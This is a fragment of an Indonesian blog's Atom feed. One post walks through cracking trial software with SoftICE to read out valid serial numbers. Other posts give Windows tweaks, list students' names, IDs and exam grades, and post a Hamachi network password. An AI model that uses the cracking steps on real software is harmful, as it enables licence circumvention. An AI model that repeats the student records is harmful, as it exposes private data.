src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4272191169318711580</id><published>2011-07-11T15:58:00.000-07:00</published><updated>2011-09-05T19:08:20.040-07:00</updated><title type='text'>Cara Meng-Crack Software Trial</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VyIMmm3Levw/TOfuKgKpi1I/AAAAAAAAHkg/44YUquEwVNw/s1600/cracking_the_upc.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 560px; height: 384px;" src="http://1.bp.blogspot.com/_VyIMmm3Levw/TOfuKgKpi1I/AAAAAAAAHkg/44YUquEwVNw/s1600/cracking_the_upc.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;TEKNIK FISHING, CARA MUDAH MENG-CRACK SOFTWARE&lt;br /&gt;&lt;br /&gt; Cracking adalah seni memodifikasi suatu program agar bekerja sesuai keinginan kita. Bagi yang menguasai bahasa Assembly, dapat men-disassembly file EXE dari sebuah aplikasi lalu mengedit kode hex tertentu serta mengembalikannya ke bentuk exe seperti semula agar berjalan sesuai keinginan. Teknik ini di kenal dengan nama Dead Listing.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Bagi kalangan pemula, bisa menggunakan teknik Fishing yakni teknik memancing sebuah serial number dari suatu aplikasi terbatas (trial version,) dengan bantuan sebuah software bernama SoftICE. SoftICE adalah jenis software debbuger yang digunakan untuk melakukan disassembly suatu program pada saat program itu dijalankan.&lt;br /&gt;&lt;br /&gt; Untuk system operasi Windows XP dan versi sebelumnya, bisa menggunakan Softice versi 4.2.7 yang bisa di download Disini&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; KONFIGURASI SOFTICE&lt;br /&gt; Proses instalasi Softice tidaklah sulit, sama seperti instalasi program pada umumnya. Hanya saja, Untuk mengkonfigurasi SoftICE pada sistem PC, terdapat 5 pilihan, semuanya tergantung kebutuhan kita. Yakni Boot, Softice berjalan sebelum menjalankan Windows. System, berjalan berbarengan dengan Windows. Automatic, Softice berjalan otomatis namun, tidak semua debug driver aktif. Manual, menjalankan Softice secara manual dan yang terakhir Disable, menonaktifkan Softice pada setiap startup Windows.&lt;br /&gt;&lt;br /&gt; Setelah proses instalasi selesai, lakukan modifikasi salah satu file SoftICE yaitu winice.dat untuk mempermudah inisialisasi simbol pada saat di-load.&lt;br /&gt;&lt;br /&gt; Caranya, cari winice.dat. biasanya, ada di C:/Program Files/ NuMega/. Lalu buka dengan Notepad. Hilangkan tanda titik koma ( di depan setiap perintah EXP. Ganti nilai PHYSMB dengan kapasitas RAM yang ada di computer. Setelah selesai, klik ‘Save’ dan restart computer agar perubahan bisa berdampak.&lt;br /&gt;&lt;br /&gt; SoftICE berjalan otomatis di belakang sistem operasi, maka untuk memunculkannya di layar monitor, tekan tombol Ctrl+D pada keyboard secara bersamaan. Demikian pula pada saat anda ingin menutupnya ke belakang layar.&lt;br /&gt;&lt;br /&gt; MEMULAI CRACKING :&lt;br /&gt;&lt;br /&gt; 1. Buka Program Trial Version&lt;br /&gt; Buka program trial version yang ingin di crack lalu klik ‘Enter Registration Code’. Masukan informasi ‘Name’ dan ‘Registration’ Sesuka anda (jangan tekan ENTER dulu). Tampilkan Softice dengan menekan CTRL-D, pasang breakpoint dengan mengetik di command prompt line : BPX Getdlgitemtexta, lalu&lt;br /&gt;&lt;br /&gt; Muncul window SoftICE di layar monitor. SoftICE kemudian menampilkan kode dialognya. Tekan F12 dua kali dan lihat nilai register EAX apakah bernilai 6. Nilai ini adalah banyaknya karakter yang anda masukkan pada Registration. Jika yang diketik sebanyak 4 karakter, maka EAX akan bernilai 4.&lt;br /&gt;&lt;br /&gt; Tekan F10 sebanyak 10 kali dan berhenti pada CALL 004079D5 karena di bawahnya ada TEST EAX,EAX yang artinya membandingkan nilai EAX yang anda ketik dengan EAX yang dibuat di dalam CALL 004079D5 di atasnya. Sekarang tekan F8 sekali.&lt;br /&gt;&lt;br /&gt; 2. Mencari Registration Code&lt;br /&gt; Tekan F10 sebanyak 58 kali sampai register EAX berwarna biru dan anda berhenti di PUSH ESI setelah LEA EAX, [EBP-0140]. Sekarang ketik d eax (disvalid registration# yang anda masukkan sebelumnya) dan tekan .&lt;br /&gt;&lt;br /&gt; Lihat bagian kanan, terdapat Registration code yang dihasilkan oleh CALL 004079D5 yang sesuai dengan nama yang anda masukkan. Lalu ketik bc * dan tekan Enter. .&lt;br /&gt;&lt;br /&gt; 3. Tes Registration Code&lt;br /&gt; Buka program Trial Versionnya. Jika ada pesan error kita lewati. Pada kolom Name ketik sesuai yang kita masukkan pertama. Demikian pula dengan masukan pada kolom Registration#. Lalu klik OK. Sekarang anda bisa menikmatinya sebagai full version.&lt;br /&gt;&lt;br /&gt; Menggunakan secara pribadi software hasil crack, masih bisa di maafkan. Tapi mengkomersilkannya untuk meraup untung adalah bagian dari kejahatan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sumber http://zonetested.blogspot.com/2011/01/cara-meng-crack-software-trial.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4272191169318711580?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/4272191169318711580/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/07/new-update.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4272191169318711580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4272191169318711580'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/07/new-update.html' title='Cara Meng-Crack Software Trial'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_VyIMmm3Levw/TOfuKgKpi1I/AAAAAAAAHkg/44YUquEwVNw/s72-c/cracking_the_upc.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5064437364729231486</id><published>2011-06-06T18:19:00.001-07:00</published><updated>2011-06-06T18:19:56.985-07:00</updated><title type='text'>Tips Optimalisasi Windows</title><content type='html'>1. Mendisable Service Windows yg tidak diperlukan.&lt;br /&gt;&lt;br /&gt;Karena windows ditujukan untuk berbagai user dan tugas, maka windows membuat service yg sebenarnya tidak tidak terlalu diperlukan. Service2 berikut ini seringkali memakan resouce yg tidak sedikit, dengan mendisable (me-non-aktif-kan) maka komputer kita bisa mendapatkan sedikit boost karenanya.&lt;br /&gt;&lt;br /&gt;Yang perlu dimatikan adalah :&lt;br /&gt;&lt;br /&gt;* Alerter&lt;br /&gt;&lt;br /&gt;* Clipbook&lt;br /&gt;&lt;br /&gt;* Computer Browser&lt;br /&gt;&lt;br /&gt;* Distributed Link Tracking Client&lt;br /&gt;&lt;br /&gt;* Fast User Switching&lt;br /&gt;&lt;br /&gt;* Help and Support – (Jika anda mengunakan windows help, maka langkah ini diskip aja)&lt;br /&gt;&lt;br /&gt;* Human Interface Access Devices&lt;br /&gt;&lt;br /&gt;* Indexing Service&lt;br /&gt;&lt;br /&gt;* IPSEC Services&lt;br /&gt;&lt;br /&gt;* Messenger&lt;br /&gt;&lt;br /&gt;* Netmeeting Remote Desktop Sharing&lt;br /&gt;&lt;br /&gt;* Portable Media Serial Number&lt;br /&gt;&lt;br /&gt;* Remote Desktop Help Session Manager&lt;br /&gt;&lt;br /&gt;* Remote Procedure Call Locator&lt;br /&gt;&lt;br /&gt;* Remote Registry&lt;br /&gt;&lt;br /&gt;* Remote Registry Service&lt;br /&gt;&lt;br /&gt;* Secondary Logon&lt;br /&gt;&lt;br /&gt;* Routing &amp; Remote Access&lt;br /&gt;&lt;br /&gt;* Server&lt;br /&gt;&lt;br /&gt;* Telnet&lt;br /&gt;&lt;br /&gt;* TCP/IP NetBIOS Helper&lt;br /&gt;&lt;br /&gt;* Upload Manager&lt;br /&gt;&lt;br /&gt;* Universal Plug and Play Device Host&lt;br /&gt;&lt;br /&gt;* Wireless Zero Configuration -(Jangan didisable jika anda mengunakan Wireless)&lt;br /&gt;&lt;br /&gt;*Workstation&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;2. Matikan System restore&lt;br /&gt;&lt;br /&gt;System restore bisa bermanfaat jika komputer bermasalah, akan tetapi semua restore point yg disimpan bisa memakan ruangan yg cukup besar di harddisk. System restore membebani karena selalu memonitor sistem, dengan mendisable system restore maka sebagian resorce bisa dialokasikan untuk hal yg lain.&lt;br /&gt;&lt;br /&gt;1. Buka Control Panel&lt;br /&gt;&lt;br /&gt;2. Klik System&lt;br /&gt;&lt;br /&gt;3. Klik System Restore tab&lt;br /&gt;&lt;br /&gt;4. Klik ‘Turn off System Restore on All Drives’&lt;br /&gt;&lt;br /&gt;5. Klik ‘Ok’&lt;br /&gt;&lt;br /&gt;3. Mempercepat akses Folder – dengan mendisable Last Access Update.&lt;br /&gt;&lt;br /&gt;Jika anda memiliki banyak folder dan subdirectories, maka akses ke Direktory2 Windows XP terasa sangat berat dan seringkali cuman membuang waktu. Dengan mengupdate time stamp di registry, yaitu last access update untuk semua sub directory. Proceed with caution: Langkah berikut bukan untuk N00bie&lt;br /&gt;&lt;br /&gt;1. Start&gt;Run&gt;regedit&lt;br /&gt;&lt;br /&gt;2. “HKEY_LOCAL_MACHINESystemCurrentControlSetControlFileSystem”&lt;br /&gt;&lt;br /&gt;3. Klik kanan di bagian yg kanan (cari area yg kosong), lalu pilih ‘DWORD Value’&lt;br /&gt;&lt;br /&gt;4. Bikin DWORD Value dengan nama ‘NtfsDisableLastAccessUpdate’&lt;br /&gt;&lt;br /&gt;5. Klik kanan pada value baru terus pilih ‘Modify’&lt;br /&gt;&lt;br /&gt;6. Ubah data menjadi ’1′&lt;br /&gt;&lt;br /&gt;7. Klik ‘OK’&lt;br /&gt;&lt;br /&gt;4. Me-non-aktifkan Microsoft System Sounds&lt;br /&gt;&lt;br /&gt;Secara default MS sound systems membuat komputer berbunyi/bersuara ketika booting awal, shutdown, error, dll. Skenario suara windows jelas2 membuat komputer lebih lambat (terutama dalam waktu shutdown dan booting awal), untuk me-non-aktifkan silahkan ikuti langkah berikut:&lt;br /&gt;&lt;br /&gt;1. Buka Control Panel&lt;br /&gt;&lt;br /&gt;2. Klik Sounds and Audio Devices&lt;br /&gt;&lt;br /&gt;3. Klik tab Sounds&lt;br /&gt;&lt;br /&gt;4. Pilih “No Sounds” dari Sound Scheme&lt;br /&gt;&lt;br /&gt;5. Klik “No”&lt;br /&gt;&lt;br /&gt;7. Klik “Apply”&lt;br /&gt;&lt;br /&gt;8. Klik “OK”&lt;br /&gt;&lt;br /&gt;5. Mempercepat waktu Boot&lt;br /&gt;&lt;br /&gt;Fitur yg lumayan asik dari Windows XP adalah kemampuan untuk mendefrag ketika ada dalam proses booting. Boot Defrag pada prinsip menata file2 yg relevan dengan booting secara berurutan. Secara default fitur ini telah diaktifkan pada beberapa Build Windows, tapi beberapa build windows tidak, ada baiknya kalo kita cross check terhadap fiotur yg satu ini.&lt;br /&gt;&lt;br /&gt;1. Start Menu&gt;Run&lt;br /&gt;&lt;br /&gt;2. Regedit&lt;br /&gt;&lt;br /&gt;3. HKEY_LOCAL_MACHINESOFTWAREMicrosoftDfrgBootOpt imizeFunction&lt;br /&gt;&lt;br /&gt;4. Cari “Enable” dibagian kanan regedit&lt;br /&gt;&lt;br /&gt;5. Klik “Modify”&lt;br /&gt;&lt;br /&gt;6. Pilih “Y to enable”&lt;br /&gt;&lt;br /&gt;7. Reboot&lt;br /&gt;&lt;br /&gt;6. Mempercepat Performa Swapfile&lt;br /&gt;&lt;br /&gt;Jika anda memiliki ram lebih besar dari 256MB bisa dibilang tweaking yg ini akan membuat sistem anda berjalan lebih cepat. Tweaking ini pada dasarnya PC kita mengunakan setiap byte dari memori fisik yg terpasang di komputer kita, SEBELUM mengunakan swap file.&lt;br /&gt;&lt;br /&gt;1. Start&gt;Run&lt;br /&gt;&lt;br /&gt;2. “msconfig.exe”&gt;ok&lt;br /&gt;&lt;br /&gt;3. Klik tab System.ini&lt;br /&gt;&lt;br /&gt;4. Klik tanda plus pada tab 386enh&lt;br /&gt;&lt;br /&gt;5. Klik kotak new kemudian ketik “ConservativeSwapfileUsage=1″&lt;br /&gt;&lt;br /&gt;6. Klik OK&lt;br /&gt;&lt;br /&gt;7. Restart&lt;br /&gt;&lt;br /&gt;7. Mempercepat Loading Windows Menu&lt;br /&gt;&lt;br /&gt;Tweak ini adalah tweaking fav saya, karena akan komputer kita terasa lebih cepat. Tweaking ini membuang waktu delay ketika kita mengklik menu dan windows XP menampakkan Menu.&lt;br /&gt;&lt;br /&gt;1. Start&gt;Run&lt;br /&gt;&lt;br /&gt;2. Regedit&gt;Ok&lt;br /&gt;&lt;br /&gt;3. “HKEY_CURRENT_USERControl PanelDesktop”&lt;br /&gt;&lt;br /&gt;4. Pilih/Sorot “MenuShowDelay”&lt;br /&gt;&lt;br /&gt;5. Klik kanan dan pilih “Modify’&lt;br /&gt;&lt;br /&gt;6. Ketik angka “100″&lt;br /&gt;&lt;br /&gt;8. Mempercepat Shutdown Windows XP.&lt;br /&gt;&lt;br /&gt;Tweaking ini mengurangi waktu tunggu secara otomatis ketika windows sudah menerima instruksi untuk shutdown.&lt;br /&gt;&lt;br /&gt;1. Start&gt;Run&lt;br /&gt;&lt;br /&gt;2. ‘Regedit’&gt;OK&lt;br /&gt;&lt;br /&gt;3. ‘HKEY_CURRENT_USERControl PanelDesktop’&lt;br /&gt;&lt;br /&gt;4. Sorot ‘WaitToKillAppTimeout’&lt;br /&gt;&lt;br /&gt;5. Klik kanan dan pilih modify&lt;br /&gt;&lt;br /&gt;6. Ubah value menjadi ’1000′&lt;br /&gt;&lt;br /&gt;7. Klik ‘OK’&lt;br /&gt;&lt;br /&gt;8. Sorot ‘HungAppTimeout’&lt;br /&gt;&lt;br /&gt;9. Klik kanan dan pilih modify&lt;br /&gt;&lt;br /&gt;10. Ubah value menjadi ’1000′&lt;br /&gt;&lt;br /&gt;11. Klik ‘OK’&lt;br /&gt;&lt;br /&gt;12. ‘HKEY_USERS.DEFAULTControl PanelDesktop’ sorot WaitToKillAppTimeout’&lt;br /&gt;&lt;br /&gt;13. Klik kanan dan pilih modify&lt;br /&gt;&lt;br /&gt;15. Ubah value ke ’1000′&lt;br /&gt;&lt;br /&gt;16. Klik ‘OK’&lt;br /&gt;&lt;br /&gt;17. ‘HKEY_LOCAL_MACHINESystemCurrentControlSetControl’ sorot&lt;br /&gt;&lt;br /&gt;‘WaitToKillServiceTimeout’&lt;br /&gt;&lt;br /&gt;19. Klik kanan dan pilih modify&lt;br /&gt;&lt;br /&gt;20. Ubah value menjadi ’1000′&lt;br /&gt;&lt;br /&gt;21. Klik ‘OK’&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5064437364729231486?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/5064437364729231486/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/06/tips-optimalisasi-windows.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5064437364729231486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5064437364729231486'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/06/tips-optimalisasi-windows.html' title='Tips Optimalisasi Windows'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4557093177087190575</id><published>2011-06-06T18:16:00.000-07:00</published><updated>2011-06-06T18:17:11.363-07:00</updated><title type='text'>Tips Mempercepat Koneksi Internet di Windows</title><content type='html'>Secara default, windows membatasi pemakaian bandwidth 20% saja dari total keseluruhan yang didapat, untuk merubahnya kita harus set parameter yang ada di “Limit Reservable Bandwidth”.&lt;br /&gt;&lt;br /&gt;    “Limit Reservable Bandwidth determines the percentage of connection bandwidth that the system can reserve. This value limits the combined bandwidth reservations of all programs running on the system.&lt;br /&gt;&lt;br /&gt;    By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default.&lt;br /&gt;&lt;br /&gt;    If you enable this setting, you can use the “Bandwidth limit” box to adjust the amount of bandwidth the system can reserve.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    If you disable this setting or do not configure it, the system uses the default value of 20 percent of the connection.&lt;br /&gt;&lt;br /&gt;    Important: If a bandwidth limit is set for a particular network adapter in the registry, this setting is ignored when configuring that network adapter.”&lt;br /&gt;&lt;br /&gt;Langkah-langkahnya adalah sebagai berikut :&lt;br /&gt;1. Klik start -&gt; run, ketik “gpedit.msc”, tekan “Enter”.&lt;br /&gt;2. PilihÂ  Computer Configuration -&gt; Administrative Templates -&gt; Network -&gt; QoS Packet Scheduler.&lt;br /&gt;3. Klik 2 kali menu “Limit Reservable Bandwidth”.&lt;br /&gt;4. Pada window “Limit Reservable Bandwidth Properties”, pilih “Enabled” dan set “Bandwidth Limit menjadi” “0″, klik “OK”.&lt;br /&gt;5. Reboot&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4557093177087190575?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/4557093177087190575/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/06/tips-mempercepat-koneksi-internet-di.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4557093177087190575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4557093177087190575'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/06/tips-mempercepat-koneksi-internet-di.html' title='Tips Mempercepat Koneksi Internet di Windows'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6258151168243825011</id><published>2011-05-31T19:59:00.000-07:00</published><updated>2011-05-31T20:22:40.400-07:00</updated><title type='text'>IP Address Hamachi</title><content type='html'>IP Address = 5.52.223.49&lt;br /&gt;Grup       = d3-tkj&lt;br /&gt;Password   = 1234&lt;br /&gt;Mohon download soal di alamat tersebut, jawablah kemudian kirim kembali ke alamat tersebut&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6258151168243825011?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/6258151168243825011/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/05/ip-address-hamachi.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6258151168243825011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6258151168243825011'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/05/ip-address-hamachi.html' title='IP Address Hamachi'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8098330095305972305</id><published>2011-05-23T20:43:00.000-07:00</published><updated>2011-05-23T20:48:24.361-07:00</updated><title type='text'>link</title><content type='html'>http://www.ziddu.com/download/15098532/inventory.exe.html&lt;br /&gt;http://www.ziddu.com/delete/2107597139/15098532/inventory.exe.html&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8098330095305972305?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/8098330095305972305/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/05/link.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8098330095305972305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8098330095305972305'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/05/link.html' title='link'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5656945563021958157</id><published>2011-04-22T19:36:00.000-07:00</published><updated>2011-04-22T19:55:05.816-07:00</updated><title type='text'>Pengumuman</title><content type='html'>Daftar Nilai Ujian Tengah Semester&lt;br /&gt;S1 - Sistem Informasi&lt;br /&gt;dapat dilihat di bawah...&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;NO NIM         NAMA                NILAI UTS&lt;br /&gt;   &lt;br /&gt;1 090101138 YUNI WIDAYANTI           57&lt;br /&gt;2 090101139 MUD MAIDAH           57&lt;br /&gt;4 090101141 LAILA MARFU'AH           57&lt;br /&gt;5 090101142 FACHRI SAKTI NUGROHO   57&lt;br /&gt;6 090101143 SITI FATONAH           67&lt;br /&gt;7 090101144 SRI HASTUTI           57&lt;br /&gt;8 090101145 DEBBIE RATNASARI   67&lt;br /&gt;9 090101146 SRI DIANI           57&lt;br /&gt;11 090101148 SITI WAHYUNI           57&lt;br /&gt;12 090101149 SAMI PUTRA ALLAH   72&lt;br /&gt;13 090101150 NUR ROHANI           62&lt;br /&gt;14 090101151 NUR ROHMAH           57&lt;br /&gt;15 090101152 ERNA LAISTION           92&lt;br /&gt;16 090101153 SUGENG WARYONO           77&lt;br /&gt;17 090101155 ESA TITIS PAMBUDI   62&lt;br /&gt;18 090101156 FIRDIAN AYU HASWARSARI   67&lt;br /&gt;19 090101157 ANITA MEILINDA P   72&lt;br /&gt;20 090101158 NOVIKA TRI HARTANTI   92&lt;br /&gt;21 090101159 ICHA PRATIWI O           57&lt;br /&gt;22 090101160 INDRA DESKA RIATNA   67&lt;br /&gt;23 090101161 TRI WINARSIH           52&lt;br /&gt;25 090101163 DWI SAMBODO           57&lt;br /&gt;26 090101165 RIEZKA LUKMANA SARI   67&lt;br /&gt;27 090101166 YULI FATMAWATI           67&lt;br /&gt;28 090101167 HUSNA NUR AINI           57&lt;br /&gt;29 090101168 ANITA ETIS PUJIWATI   37&lt;br /&gt;30 090101169 ARYNDA SIANITA HIDAYAT    57&lt;br /&gt;31 090101174 AYU INDRI           67&lt;br /&gt;32 090101175 FERY ADITIA           67&lt;br /&gt;33 090101176 NASIR ASNGARI           57&lt;br /&gt;34 090101177 ERINE FEBRIANI C H        77&lt;br /&gt;35 090101178 LIMBONG SITODOK           77&lt;br /&gt;36 090101179 AYU INDRIANI           52&lt;br /&gt;37 090101181 ENGGAR YAYAS LARASATI   67&lt;br /&gt;38 090101182 FEBRIAN ISTRADA P   67&lt;br /&gt;39 090101185 SEPTI ASTUTI           72&lt;br /&gt;41 090101244 ENNY SULISTYONINGSIH   57&lt;br /&gt;42 090101365 BUDI CAHYONO           67&lt;br /&gt;43 090101371 EDWARD PRADITA WARDANA   57&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;NB : Untuk nilai di bawah 70, harap segera meremidi ujian dengan membuat jawaban Soal UTS dicetak di atas kertas A4 dan dikumpulkan paling lambat senin, 25 April 2011 (dimasukan ke daftar presensi mahasiswa).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5656945563021958157?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/5656945563021958157/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/04/pengumuman.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5656945563021958157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5656945563021958157'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/04/pengumuman.html' title='Pengumuman'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8889481705420451036</id><published>2011-02-21T18:48:00.000-08:00</published><updated>2011-02-21T18:50:47.118-08:00</updated><title type='text'>Squid Pada Load Balancing Connection</title><content type='html'>Squid merupakan sebuah proxy dan content cache yang memang sering diperlukan oleh kita tentunya dengan beragam alasan diantara nya untuk mempercepat pengiriman web yang sering di akses kepada client.&lt;br /&gt;&lt;br /&gt;sedangkan Outgoing load balancing adalah mengoptimal kan bandwidth yang tersedia pada 2 buah jalur koneksi internet atau lebih secara merata dan membagi beban kumulatif pada sebuah network.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ide dasar nya adalah meskipun menggunakan metode outgoing load balancing, diharapkan bisa menggunakan squid dan traffic yang di gunakan seimbang ( balance ) antara koneksi 1 dan koneksi 2.&lt;br /&gt;&lt;br /&gt;jika anda menggunakan default configuration squid , tentu saja apa yang di harapkan oleh anda tidak akan tercapai karena tcp_outgoing sebuah squid hanya 1 dan tidak bisa secara otomatis berbeda tcp_outgoing nya.&lt;br /&gt;&lt;br /&gt;olehkarena itu anda harus memaksa koneksi client yang melalui transparent proxy dengan mendefinisikan per client akan melewati jalur mana.&lt;br /&gt;&lt;br /&gt;contoh :&lt;br /&gt;&lt;br /&gt;acl  modem1 src 192.168.1.2/32 192.168.1.3/32&lt;br /&gt;&lt;br /&gt;acl modem2  src  192.168.1.4/32 192.168.1.5/32&lt;br /&gt;&lt;br /&gt;tcp_outgoing_address 10.10.20.2 modem1&lt;br /&gt;&lt;br /&gt;tcp_outgoing_address 10.10.10.2 modem2&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;pada prinsip nya ide nya adalah seperti di atas, untuk selebih nya silahkan anda berexperimen sendiri.&lt;br /&gt;&lt;br /&gt;demikian  squid proxy pada outgoing load balancing connection mudah mudahan bermanfaat.&lt;br /&gt;tata cara instalasi pernah dibahas di sini http://indofreebsd.or.id/load-balancing-outgoing-connection-2.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8889481705420451036?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/8889481705420451036/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/02/squid-pada-outgoing-load-balancing.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8889481705420451036'/><link rel='self' type='application/atom+xml' 